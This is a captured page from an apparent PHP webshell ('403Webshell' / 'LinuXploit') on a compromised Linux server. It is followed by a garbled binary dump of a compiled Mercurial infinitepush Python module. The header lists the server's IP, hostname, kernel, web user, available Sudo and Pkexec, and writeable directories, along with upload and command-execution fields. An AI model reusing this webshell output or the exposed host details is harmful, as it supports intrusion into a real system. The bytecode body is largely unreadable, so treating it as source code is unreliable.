403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/hgext/infinitepush/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/hgext/infinitepush/__pycache__/store.cpython-39.pyc
a

�+�b��@s�ddlmZddlZddlZddlZddlmZddlmZddl	m
Z
ddlmZm
Z
Gdd�de�ZGd	d
�d
e�ZGdd�de�ZGd
d�de�Zddd�ZGdd�de�ZdS)�)�absolute_importN)�hex)�open)�pycompat)�hashutil�procutilc@seZdZdS)�BundleWriteExceptionN��__name__�
__module__�__qualname__�r
r
�>/usr/lib64/python3.9/site-packages/hgext/infinitepush/store.pyrsrc@seZdZdS)�BundleReadExceptionNr	r
r
r
rrsrc@s2eZdZdZejZejdd��Zejdd��Z	dS)�abstractbundlestorea6Defines the interface for bundle stores.

    A bundle store is an entity that stores raw bundle data. It is a simple
    key-value store. However, the keys are chosen by the store. The keys can
    be any Python object understood by the corresponding bundle index (see
    ``abstractbundleindex`` below).
    cCsdS)z�Write bundle data to the store.

        This function receives the raw data to be written as a str.
        Throws BundleWriteException
        The key of the written data MUST be returned.
        Nr
)�self�datar
r
r�write(szabstractbundlestore.writecCsdS)z�Obtain bundle data for a key.

        Returns None if the bundle isn't known.
        Throws BundleReadException
        The returned object should be a file object supporting read()
        and close().
        Nr
)r�keyr
r
r�read1szabstractbundlestore.readN)
r
rr�__doc__�abc�ABCMetaZ
__metaclass__�abstractmethodrrr
r
r
rrs
rc@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�filebundlestorezkbundle store in filesystem

    meant for storing bundles somewhere on disk and on network filesystems
    cCsP||_||_|�dd�|_|js2|jj�dd�|_tj�|j�sLt�	|j�dS)Ns
scratchbranchs	storepathsscratchbranchessfilebundlestore)
�ui�repoZ
configpath�	storepathZvfs�join�os�path�exists�makedirs)rrrr
r
r�__init__Bs�zfilebundlestore.__init__cCs"tj�|j|dd�|dd��S)z�First two bytes of the hash are the name of the upper
        level directory, next two bytes are the name of the
        next level directoryr��)rr rr)r�	hashvaluer
r
r�_dirpathMszfilebundlestore._dirpathcCstj�|�|�|�S)N)rr rr')r�filenamer
r
r�	_filepathSszfilebundlestore._filepathcCsptt�|����}|�|�}tj�|�s2t�|�t	|�
|�d��}|�|�Wd�n1sb0Y|S)Nswb)rrZsha1�digestr'rr r!r"rr)r)rrr(�dirpath�fr
r
rrVs

(zfilebundlestore.writecCsXz>t|�|�d��}|��Wd�WS1s20YWntyRYdS0dS)Nsrb)rr)r�IOError)rrr,r
r
rrbs
,zfilebundlestore.readN)	r
rrrr#r'r)rrr
r
r
rr<srcCsLg}|D]>}|r$|dkr$|�|�q|r<|dkr<|�|�q|�|�q|S)z�Formats `args` with Infinitepush replacements.

    Hack to get `str.format()`-ed strings working in a BC way with
    bytes.
    s
{filename}s{handle})�append)�argsr(�handle�formatted_args�argr
r
r�format_placeholders_argsjsr3c@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�externalbundlestorecCs||_||_||_||_dS)a6
        `put_binary` - path to binary file which uploads bundle to external
            storage and prints key to stdout
        `put_args` - format string with additional args to `put_binary`
                     {filename} replacement field can be used.
        `get_binary` - path to binary file which accepts filename and key
            (in that order), downloads bundle from store and saves it to file
        `get_args` - format string with additional args to `get_binary`.
                     {filename} and {handle} replacement field can be used.
        N)�put_args�get_args�
put_binary�
get_binary)rr7r5r8r6r
r
rr#|szexternalbundlestore.__init__cCs<tjt�tj|�tjtjdd�}|��\}}|j}|||fS)NT)�stdout�stderrZ	close_fds)	�
subprocess�PopenrZrapplyrZtonativestr�PIPEZcommunicate�
returncode)rr/�pr9r:r>r
r
r�_call_binary�s�z externalbundlestore._call_binarycCs�t����}|�|�|��|�d�t|j|jd�}|�|j	g|�\}}}|dkrbt
d|��|��}t|�dkr�|dWd�St
d|j	|f��Wd�n1s�0YdS)Nr)r(s&Failed to upload to external store: %s�sBad output from %s: %s)
r�
namedtempfiler�flush�seekr3r5�namer@r7r�
splitlines�len)rr�tempr1r>r9r:Zstdout_linesr
r
rr�s(


�
�
��zexternalbundlestore.writecCsrt���V}t|j|j|d�}|�|jg|�\}}}|dkrHtd|��|��Wd�S1sd0YdS)N)r(r0rs*Failed to download from external store: %s)	rrBr3r6rEr@r8rr)rr0rHr1r>r9r:r
r
rr�s

�
�
�zexternalbundlestore.readN)r
rrr#r@rrr
r
r
rr4{sr4)NN)Z
__future__rrrr;Zmercurial.noderZmercurial.pycompatrZ	mercurialrZmercurial.utilsrr�	Exceptionrr�objectrrr3r4r
r
r
r�<module>s.


Youez - 2016 - github.com/yon3zu
LinuXploit